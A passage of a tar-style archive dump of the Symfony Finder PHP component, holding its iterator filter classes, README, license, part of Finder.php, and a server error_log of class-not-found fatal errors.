to check further. break; } $fileRelativePath = substr($fileRealPath, \strlen($parentDirectory) + 1); if (null === $regexps = $this->readGitignoreFile("{$parentDirectory}/.gitignore")) { continue; } [$exclusionRegex, $inclusionRegex] = $regexps; if (preg_match($exclusionRegex, $fileRelativePath)) { $ignored = true; continue; } if (preg_match($inclusionRegex, $fileRelativePath)) { $ignored = false; } } return $this->ignoredPathsCache[$fileRealPath] = $ignored; } /** * @return list */ private function parentDirectoriesUpwards(string $from): array { $parentDirectories = []; $parentDirectory = $from; while (true) { $newParentDirectory = \dirname($parentDirectory); // dirname('/') = '/' if ($newParentDirectory === $parentDirectory) { break; } $parentDirectories[] = $parentDirectory = $newParentDirectory; } return $parentDirectories; } private function parentDirectoriesUpTo(string $from, string $upTo): array { return array_filter( $this->parentDirectoriesUpwards($from), static fn (string $directory): bool => str_starts_with($directory, $upTo) ); } /** * @return list */ private function parentDirectoriesDownwards(string $fileRealPath): array { return array_reverse( $this->parentDirectoriesUpTo($fileRealPath, $this->baseDir) ); } /** * @return array{0: string, 1: string}|null */ private function readGitignoreFile(string $path): ?array { if (\array_key_exists($path, $this->gitignoreFilesCache)) { return $this->gitignoreFilesCache[$path]; } if (!file_exists($path)) { return $this->gitignoreFilesCache[$path] = null; } if (!is_file($path) || !is_readable($path)) { throw new \RuntimeException("The \"ignoreVCSIgnored\" option cannot be used by the Finder as the \"{$path}\" file is not readable."); } $gitignoreFileContent = file_get_contents($path); return $this->gitignoreFilesCache[$path] = [ Gitignore::toRegex($gitignoreFileContent), Gitignore::toRegexMatchingNegatedPatterns($gitignoreFileContent), ]; } private function normalizePath(string $path): string { if ('\\' === \DIRECTORY_SEPARATOR) { return str_replace('\\', '/', $path); } return $path; } } finder/Iterator/SizeRangeFilterIterator.php000064400000002520151113511730015061 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Comparator\NumberComparator; /** * SizeRangeFilterIterator filters out files that are not in the given size range. * * @author Fabien Potencier * * @extends \FilterIterator */ class SizeRangeFilterIterator extends \FilterIterator { private array $comparators = []; /** * @param \Iterator $iterator * @param NumberComparator[] $comparators */ public function __construct(\Iterator $iterator, array $comparators) { $this->comparators = $comparators; parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { $fileinfo = $this->current(); if (!$fileinfo->isFile()) { return true; } $filesize = $fileinfo->getSize(); foreach ($this->comparators as $compare) { if (!$compare->test($filesize)) { return false; } } return true; } } finder/Iterator/FilecontentFilterIterator.php000064400000002612151113511730015446 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\SplFileInfo; /** * FilecontentFilterIterator filters files by their contents using patterns (regexps or strings). * * @author Fabien Potencier * @author Włodzimierz Gajda * * @extends MultiplePcreFilterIterator */ class FilecontentFilterIterator extends MultiplePcreFilterIterator { /** * Filters the iterator values. */ public function accept(): bool { if (!$this->matchRegexps && !$this->noMatchRegexps) { return true; } $fileinfo = $this->current(); if ($fileinfo->isDir() || !$fileinfo->isReadable()) { return false; } $content = $fileinfo->getContents(); if (!$content) { return false; } return $this->isAccepted($content); } /** * Converts string to regexp if necessary. * * @param string $str Pattern: string or regexp */ protected function toRegex(string $str): string { return $this->isRegex($str) ? $str : '/'.preg_quote($str, '/').'/'; } } finder/Iterator/DateRangeFilterIterator.php000064400000002571151113511730015032 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Comparator\DateComparator; /** * DateRangeFilterIterator filters out files that are not in the given date range (last modified dates). * * @author Fabien Potencier * * @extends \FilterIterator */ class DateRangeFilterIterator extends \FilterIterator { private array $comparators = []; /** * @param \Iterator $iterator * @param DateComparator[] $comparators */ public function __construct(\Iterator $iterator, array $comparators) { $this->comparators = $comparators; parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { $fileinfo = $this->current(); if (!file_exists($fileinfo->getPathname())) { return false; } $filedate = $fileinfo->getMTime(); foreach ($this->comparators as $compare) { if (!$compare->test($filedate)) { return false; } } return true; } } finder/Iterator/FileTypeFilterIterator.php000064400000002557151113511730014725 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * FileTypeFilterIterator only keeps files, directories, or both. * * @author Fabien Potencier * * @extends \FilterIterator */ class FileTypeFilterIterator extends \FilterIterator { public const ONLY_FILES = 1; public const ONLY_DIRECTORIES = 2; private int $mode; /** * @param \Iterator $iterator The Iterator to filter * @param int $mode The mode (self::ONLY_FILES or self::ONLY_DIRECTORIES) */ public function __construct(\Iterator $iterator, int $mode) { $this->mode = $mode; parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { $fileinfo = $this->current(); if (self::ONLY_DIRECTORIES === (self::ONLY_DIRECTORIES & $this->mode) && $fileinfo->isFile()) { return false; } elseif (self::ONLY_FILES === (self::ONLY_FILES & $this->mode) && $fileinfo->isDir()) { return false; } return true; } } finder/Iterator/ExcludeDirectoryFilterIterator.php000064400000005156151113511730016460 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\SplFileInfo; /** * ExcludeDirectoryFilterIterator filters out directories. * * @author Fabien Potencier * * @extends \FilterIterator * * @implements \RecursiveIterator */ class ExcludeDirectoryFilterIterator extends \FilterIterator implements \RecursiveIterator { /** @var \Iterator */ private \Iterator $iterator; private bool $isRecursive; private array $excludedDirs = []; private ?string $excludedPattern = null; /** * @param \Iterator $iterator The Iterator to filter * @param string[] $directories An array of directories to exclude */ public function __construct(\Iterator $iterator, array $directories) { $this->iterator = $iterator; $this->isRecursive = $iterator instanceof \RecursiveIterator; $patterns = []; foreach ($directories as $directory) { $directory = rtrim($directory, '/'); if (!$this->isRecursive || str_contains($directory, '/')) { $patterns[] = preg_quote($directory, '#'); } else { $this->excludedDirs[$directory] = true; } } if ($patterns) { $this->excludedPattern = '#(?:^|/)(?:'.implode('|', $patterns).')(?:/|$)#'; } parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { if ($this->isRecursive && isset($this->excludedDirs[$this->getFilename()]) && $this->isDir()) { return false; } if ($this->excludedPattern) { $path = $this->isDir() ? $this->current()->getRelativePathname() : $this->current()->getRelativePath(); $path = str_replace('\\', '/', $path); return !preg_match($this->excludedPattern, $path); } return true; } public function hasChildren(): bool { return $this->isRecursive && $this->iterator->hasChildren(); } public function getChildren(): self { $children = new self($this->iterator->getChildren(), []); $children->excludedDirs = $this->excludedDirs; $children->excludedPattern = $this->excludedPattern; return $children; } } finder/Iterator/CustomFilterIterator.php000064400000002767151113511730014461 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * CustomFilterIterator filters files by applying anonymous functions. * * The anonymous function receives a \SplFileInfo and must return false * to remove files. * * @author Fabien Potencier * * @extends \FilterIterator */ class CustomFilterIterator extends \FilterIterator { private array $filters = []; /** * @param \Iterator $iterator The Iterator to filter * @param callable[] $filters An array of PHP callbacks * * @throws \InvalidArgumentException */ public function __construct(\Iterator $iterator, array $filters) { foreach ($filters as $filter) { if (!\is_callable($filter)) { throw new \InvalidArgumentException('Invalid PHP callback.'); } } $this->filters = $filters; parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { $fileinfo = $this->current(); foreach ($this->filters as $filter) { if (false === $filter($fileinfo)) { return false; } } return true; } } finder/Iterator/error_log000064400000014152151113511730011522 0ustar00[20-Nov-2025 02:49:21 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php on line 24 [20-Nov-2025 06:45:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/PathFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/PathFilterIterator.php on line 24 [20-Nov-2025 06:45:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilenameFilterIterator.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilenameFilterIterator.php on line 23 [20-Nov-2025 06:45:28 UTC] PHP Fatal error: Could not check compatibility between Symfony\Component\Finder\Iterator\RecursiveDirectoryIterator::current(): Symfony\Component\Finder\SplFileInfo and FilesystemIterator::current(): SplFileInfo|FilesystemIterator|string, because class Symfony\Component\Finder\SplFileInfo is not available in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php on line 54 [20-Nov-2025 06:45:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php on line 24 [20-Nov-2025 06:59:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilenameFilterIterator.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilenameFilterIterator.php on line 23 [20-Nov-2025 07:05:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php on line 24 [20-Nov-2025 07:07:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/PathFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/PathFilterIterator.php on line 24 [20-Nov-2025 07:08:37 UTC] PHP Fatal error: Could not check compatibility between Symfony\Component\Finder\Iterator\RecursiveDirectoryIterator::current(): Symfony\Component\Finder\SplFileInfo and FilesystemIterator::current(): SplFileInfo|FilesystemIterator|string, because class Symfony\Component\Finder\SplFileInfo is not available in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php on line 54 [20-Nov-2025 07:09:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php on line 24 [20-Nov-2025 07:14:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilenameFilterIterator.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilenameFilterIterator.php on line 23 [25-Nov-2025 03:32:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilenameFilterIterator.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilenameFilterIterator.php on line 23 [25-Nov-2025 04:29:00 UTC] PHP Fatal error: Could not check compatibility between Symfony\Component\Finder\Iterator\RecursiveDirectoryIterator::current(): Symfony\Component\Finder\SplFileInfo and FilesystemIterator::current(): SplFileInfo|FilesystemIterator|string, because class Symfony\Component\Finder\SplFileInfo is not available in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/RecursiveDirectoryIterator.php on line 54 [25-Nov-2025 05:26:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php on line 24 [25-Nov-2025 05:31:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/PathFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/PathFilterIterator.php on line 24 [25-Nov-2025 05:31:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Iterator\MultiplePcreFilterIterator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/PathFilterIterator.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Iterator/PathFilterIterator.php on line 24 finder/Iterator/MultiplePcreFilterIterator.php000064400000006230151113511730015601 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * MultiplePcreFilterIterator filters files using patterns (regexps, globs or strings). * * @author Fabien Potencier * * @template-covariant TKey * @template-covariant TValue * * @extends \FilterIterator */ abstract class MultiplePcreFilterIterator extends \FilterIterator { protected $matchRegexps = []; protected $noMatchRegexps = []; /** * @param \Iterator $iterator The Iterator to filter * @param string[] $matchPatterns An array of patterns that need to match * @param string[] $noMatchPatterns An array of patterns that need to not match */ public function __construct(\Iterator $iterator, array $matchPatterns, array $noMatchPatterns) { foreach ($matchPatterns as $pattern) { $this->matchRegexps[] = $this->toRegex($pattern); } foreach ($noMatchPatterns as $pattern) { $this->noMatchRegexps[] = $this->toRegex($pattern); } parent::__construct($iterator); } /** * Checks whether the string is accepted by the regex filters. * * If there is no regexps defined in the class, this method will accept the string. * Such case can be handled by child classes before calling the method if they want to * apply a different behavior. */ protected function isAccepted(string $string): bool { // should at least not match one rule to exclude foreach ($this->noMatchRegexps as $regex) { if (preg_match($regex, $string)) { return false; } } // should at least match one rule if ($this->matchRegexps) { foreach ($this->matchRegexps as $regex) { if (preg_match($regex, $string)) { return true; } } return false; } // If there is no match rules, the file is accepted return true; } /** * Checks whether the string is a regex. */ protected function isRegex(string $str): bool { $availableModifiers = 'imsxuADU'; if (\PHP_VERSION_ID >= 80200) { $availableModifiers .= 'n'; } if (preg_match('/^(.{3,}?)['.$availableModifiers.']*$/', $str, $m)) { $start = substr($m[1], 0, 1); $end = substr($m[1], -1); if ($start === $end) { return !preg_match('/[*?[:alnum:] \\\\]/', $start); } foreach ([['{', '}'], ['(', ')'], ['[', ']'], ['<', '>']] as $delimiters) { if ($start === $delimiters[0] && $end === $delimiters[1]) { return true; } } } return false; } /** * Converts string into regexp. */ abstract protected function toRegex(string $str): string; } finder/Iterator/DepthRangeFilterIterator.php000064400000002542151113511730015217 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * DepthRangeFilterIterator limits the directory depth. * * @author Fabien Potencier * * @template-covariant TKey * @template-covariant TValue * * @extends \FilterIterator */ class DepthRangeFilterIterator extends \FilterIterator { private int $minDepth = 0; /** * @param \RecursiveIteratorIterator<\RecursiveIterator> $iterator The Iterator to filter * @param int $minDepth The min depth * @param int $maxDepth The max depth */ public function __construct(\RecursiveIteratorIterator $iterator, int $minDepth = 0, int $maxDepth = \PHP_INT_MAX) { $this->minDepth = $minDepth; $iterator->setMaxDepth(\PHP_INT_MAX === $maxDepth ? -1 : $maxDepth); parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { return $this->getInnerIterator()->getDepth() >= $this->minDepth; } } finder/Iterator/FilenameFilterIterator.php000064400000002121151113511730014707 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Glob; /** * FilenameFilterIterator filters files by patterns (a regexp, a glob, or a string). * * @author Fabien Potencier * * @extends MultiplePcreFilterIterator */ class FilenameFilterIterator extends MultiplePcreFilterIterator { /** * Filters the iterator values. */ public function accept(): bool { return $this->isAccepted($this->current()->getFilename()); } /** * Converts glob to regexp. * * PCRE patterns are left unchanged. * Glob strings are transformed with Glob::toRegex(). * * @param string $str Pattern: glob or regexp */ protected function toRegex(string $str): string { return $this->isRegex($str) ? $str : Glob::toRegex($str); } } finder/README.md000064400000000757151113511730007301 0ustar00Finder Component ================ The Finder component finds files and directories via an intuitive fluent interface. Resources --------- * [Documentation](https://symfony.com/doc/current/components/finder.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) finder/LICENSE000064400000002054151113511730007017 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. finder/Finder.php000064400000057213151113511730007741 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; use Symfony\Component\Finder\Comparator\DateComparator; use Symfony\Component\Finder\Comparator\NumberComparator; use Symfony\Component\Finder\Exception\DirectoryNotFoundException; use Symfony\Component\Finder\Iterator\CustomFilterIterator; use Symfony\Component\Finder\Iterator\DateRangeFilterIterator; use Symfony\Component\Finder\Iterator\DepthRangeFilterIterator; use Symfony\Component\Finder\Iterator\ExcludeDirectoryFilterIterator; use Symfony\Component\Finder\Iterator\FilecontentFilterIterator; use Symfony\Component\Finder\Iterator\FilenameFilterIterator; use Symfony\Component\Finder\Iterator\LazyIterator; use Symfony\Component\Finder\Iterator\SizeRangeFilterIterator; use Symfony\Component\Finder\Iterator\SortableIterator; /** * Finder allows to build rules to find files and directories. * * It is a thin wrapper around several specialized iterator classes. * * All rules may be invoked several times. * * All methods return the current Finder object to allow chaining: * * $finder = Finder::create()->files()->name('*.php')->in(__DIR__); * * @author Fabien Potencier * * @implements \IteratorAggregate */ class Finder implements \IteratorAggregate, \Countable { public const IGNORE_VCS_FILES = 1; public const IGNORE_DOT_FILES = 2; public const IGNORE_VCS_IGNORED_FILES = 4; private int $mode = 0; private array $names = []; private array $notNames = []; private array $exclude = []; private array $filters = []; private array $depths = []; private array $sizes = []; private bool $followLinks = false; private bool $reverseSorting = false; private \Closure|int|false $sort = false; private int $ignore = 0; private array $dirs = []; private array $dates = []; private array $iterators = []; private array $contains = []; private array $notContains = []; private array $paths = []; private array $notPaths = []; private bool $ignoreUnreadableDirs = false; private static array $vcsPatterns = ['.svn', '_svn', 'CVS', '_darcs', '.arch-params', '.monotone', '.bzr', '.git', '.hg']; public function __construct() { $this->ignore = static::IGNORE_VCS_FILES | static::IGNORE_DOT_FILES; } /** * Creates a new Finder. */ public static function create(): static { return new static(); } /** * Restricts the matching to directories only. * * @return $this */ public function directories(): static { $this->mode = Iterator\FileTypeFilterIterator::ONLY_DIRECTORIES; return $this; } /** * Restricts the matching to files only. * * @return $this */ public function files(): static { $this->mode = Iterator\FileTypeFilterIterator::ONLY_FILES; return $this; } /** * Adds tests for the directory depth. * * Usage: * * $finder->depth('> 1') // the Finder will start matching at level 1. * $finder->depth('< 3') // the Finder will descend at most 3 levels of directories below the starting point. * $finder->depth(['>= 1', '< 3']) * * @param string|int|string[]|int[] $levels The depth level expression or an array of depth levels * * @return $this * * @see DepthRangeFilterIterator * @see NumberComparator */ public function depth(string|int|array $levels): static { foreach ((array) $levels as $level) { $this->depths[] = new Comparator\NumberComparator($level); } return $this; } /** * Adds tests for file dates (last modified). * * The date must be something that strtotime() is able to parse: * * $finder->date('since yesterday'); * $finder->date('until 2 days ago'); * $finder->date('> now - 2 hours'); * $finder->date('>= 2005-10-15'); * $finder->date(['>= 2005-10-15', '<= 2006-05-27']); * * @param string|string[] $dates A date range string or an array of date ranges * * @return $this * * @see strtotime * @see DateRangeFilterIterator * @see DateComparator */ public function date(string|array $dates): static { foreach ((array) $dates as $date) { $this->dates[] = new Comparator\DateComparator($date); } return $this; } /** * Adds rules that files must match. * * You can use patterns (delimited with / sign), globs or simple strings. * * $finder->name('/\.php$/') * $finder->name('*.php') // same as above, without dot files * $finder->name('test.php') * $finder->name(['test.py', 'test.php']) * * @param string|string[] $patterns A pattern (a regexp, a glob, or a string) or an array of patterns * * @return $this * * @see FilenameFilterIterator */ public function name(string|array $patterns): static { $this->names = array_merge($this->names, (array) $patterns); return $this; } /** * Adds rules that files must not match. * * @param string|string[] $patterns A pattern (a regexp, a glob, or a string) or an array of patterns * * @return $this * * @see FilenameFilterIterator */ public function notName(string|array $patterns): static { $this->notNames = array_merge($this->notNames, (array) $patterns); return $this; } /** * Adds tests that file contents must match. * * Strings or PCRE patterns can be used: * * $finder->contains('Lorem ipsum') * $finder->contains('/Lorem ipsum/i') * $finder->contains(['dolor', '/ipsum/i']) * * @param string|string[] $patterns A pattern (string or regexp) or an array of patterns * * @return $this * * @see FilecontentFilterIterator */ public function contains(string|array $patterns): static { $this->contains = array_merge($this->contains, (array) $patterns); return $this; } /** * Adds tests that file contents must not match. * * Strings or PCRE patterns can be used: * * $finder->notContains('Lorem ipsum') * $finder->notContains('/Lorem ipsum/i') * $finder->notContains(['lorem', '/dolor/i']) * * @param string|string[] $patterns A pattern (string or regexp) or an array of patterns * * @return $this * * @see FilecontentFilterIterator */ public function notContains(string|array $patterns): static { $this->notContains = array_merge($this->notContains, (array) $patterns); return $this; } /** * Adds rules that filenames must match. * * You can use patterns (delimited with / sign) or simple strings. * * $finder->path('some/special/dir') * $finder->path('/some\/special\/dir/') // same as above * $finder->path(['some dir', 'another/dir']) * * Use only / as dirname separator. * * @param string|string[] $patterns A pattern (a regexp or a string) or an array of patterns * * @return $this * * @see FilenameFilterIterator */ public function path(string|array $patterns): static { $this->paths = array_merge($this->paths, (array) $patterns); return $this; } /** * Adds rules that filenames must not match. * * You can use patterns (delimited with / sign) or simple strings. * * $finder->notPath('some/special/dir') * $finder->notPath('/some\/special\/dir/') // same as above * $finder->notPath(['some/file.txt', 'another/file.log']) * * Use only / as dirname separator. * * @param string|string[] $patterns A pattern (a regexp or a string) or an array of patterns * * @return $this * * @see FilenameFilterIterator */ public function notPath(string|array $patterns): static { $this->notPaths = array_merge($this->notPaths, (array) $patterns); return $this; } /** * Adds tests for file sizes. * * $finder->size('> 10K'); * $finder->size('<= 1Ki'); * $finder->size(4); * $finder->size(['> 10K', '< 20K']) * * @param string|int|string[]|int[] $sizes A size range string or an integer or an array of size ranges * * @return $this * * @see SizeRangeFilterIterator * @see NumberComparator */ public function size(string|int|array $sizes): static { foreach ((array) $sizes as $size) { $this->sizes[] = new Comparator\NumberComparator($size); } return $this; } /** * Excludes directories. * * Directories passed as argument must be relative to the ones defined with the `in()` method. For example: * * $finder->in(__DIR__)->exclude('ruby'); * * @param string|array $dirs A directory path or an array of directories * * @return $this * * @see ExcludeDirectoryFilterIterator */ public function exclude(string|array $dirs): static { $this->exclude = array_merge($this->exclude, (array) $dirs); return $this; } /** * Excludes "hidden" directories and files (starting with a dot). * * This option is enabled by default. * * @return $this * * @see ExcludeDirectoryFilterIterator */ public function ignoreDotFiles(bool $ignoreDotFiles): static { if ($ignoreDotFiles) { $this->ignore |= static::IGNORE_DOT_FILES; } else { $this->ignore &= ~static::IGNORE_DOT_FILES; } return $this; } /** * Forces the finder to ignore version control directories. * * This option is enabled by default. * * @return $this * * @see ExcludeDirectoryFilterIterator */ public function ignoreVCS(bool $ignoreVCS): static { if ($ignoreVCS) { $this->ignore |= static::IGNORE_VCS_FILES; } else { $this->ignore &= ~static::IGNORE_VCS_FILES; } return $this; } /** * Forces Finder to obey .gitignore and ignore files based on rules listed there. * * This option is disabled by default. * * @return $this */ public function ignoreVCSIgnored(bool $ignoreVCSIgnored): static { if ($ignoreVCSIgnored) { $this->ignore |= static::IGNORE_VCS_IGNORED_FILES; } else { $this->ignore &= ~static::IGNORE_VCS_IGNORED_FILES; } return $this; } /** * Adds VCS patterns. * * @see ignoreVCS() * * @param string|string[] $pattern VCS patterns to ignore * * @return void */ public static function addVCSPattern(string|array $pattern) { foreach ((array) $pattern as $p) { self::$vcsPatterns[] = $p; } self::$vcsPatterns = array_unique(self::$vcsPatterns); } /** * Sorts files and directories by an anonymous function. * * The anonymous function receives two \SplFileInfo instances to compare. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sort(\Closure $closure): static { $this->sort = $closure; return $this; } /** * Sorts files and directories by extension. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByExtension(): static { $this->sort = Iterator\SortableIterator::SORT_BY_EXTENSION; return $this; } /** * Sorts files and directories by name. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByName(bool $useNaturalSort = false): static { $this->sort = $useNaturalSort ? Iterator\SortableIterator::SORT_BY_NAME_NATURAL : Iterator\SortableIterator::SORT_BY_NAME; return $this; } /** * Sorts files and directories by name case insensitive. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByCaseInsensitiveName(bool $useNaturalSort = false): static { $this->sort = $useNaturalSort ? Iterator\SortableIterator::SORT_BY_NAME_NATURAL_CASE_INSENSITIVE : Iterator\SortableIterator::SORT_BY_NAME_CASE_INSENSITIVE; return $this; } /** * Sorts files and directories by size. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortBySize(): static { $this->sort = Iterator\SortableIterator::SORT_BY_SIZE; return $this; } /** * Sorts files and directories by type (directories before files), then by name. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByType(): static { $this->sort = Iterator\SortableIterator::SORT_BY_TYPE; return $this; } /** * Sorts files and directories by the last accessed time. * * This is the time that the file was last accessed, read or written to. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByAccessedTime(): static { $this->sort = Iterator\SortableIterator::SORT_BY_ACCESSED_TIME; return $this; } /** * Reverses the sorting. * * @return $this */ public function reverseSorting(): static { $this->reverseSorting = true; return $this; } /** * Sorts files and directories by the last inode changed time. * * This is the time that the inode information was last modified (permissions, owner, group or other metadata). * * On Windows, since inode is not available, changed time is actually the file creation time. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByChangedTime(): static { $this->sort = Iterator\SortableIterator::SORT_BY_CHANGED_TIME; return $this; } /** * Sorts files and directories by the last modified time. * * This is the last time the actual contents of the file were last modified. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByModifiedTime(): static { $this->sort = Iterator\SortableIterator::SORT_BY_MODIFIED_TIME; return $this; } /** * Filters the iterator with an anonymous function. * * The anonymous function receives a \SplFileInfo and must return false * to remove files. * * @return $this * * @see CustomFilterIterator */ public function filter(\Closure $closure): static { $this->filters[] = $closure; return $this; } /** * Forces the following of symlinks. * * @return $this */ public function followLinks(): static { $this->followLinks = true; return $this; } /** * Tells finder to ignore unreadable directories. * * By default, scanning unreadable directories content throws an AccessDeniedException. * * @return $this */ public function ignoreUnreadableDirs(bool $ignore = true): static { $this->ignoreUnreadableDirs = $ignore; return $this; } /** * Searches files and directories which match defined rules. * * @param string|string[] $dirs A directory path or an array of directories * * @return $this * * @throws DirectoryNotFoundException if one of the directories does not exist */ public function in(string|array $dirs): static { $resolvedDirs = []; foreach ((array) $dirs as $dir) { if (is_dir($dir)) { $resolvedDirs[] = [$this->normalizeDir($dir)]; } elseif ($glob = glob($dir, (\defined('GLOB_BRACE') ? \GLOB_BRACE : 0) | \GLOB_ONLYDIR | \GLOB_NOSORT)) { sort($glob); $resolvedDirs[] = array_map($this->normalizeDir(...), $glob); } else { throw new DirectoryNotFoundException(sprintf('The "%s" directory does not exist.', $dir)); } } $this->dirs = array_merge($this->dirs, 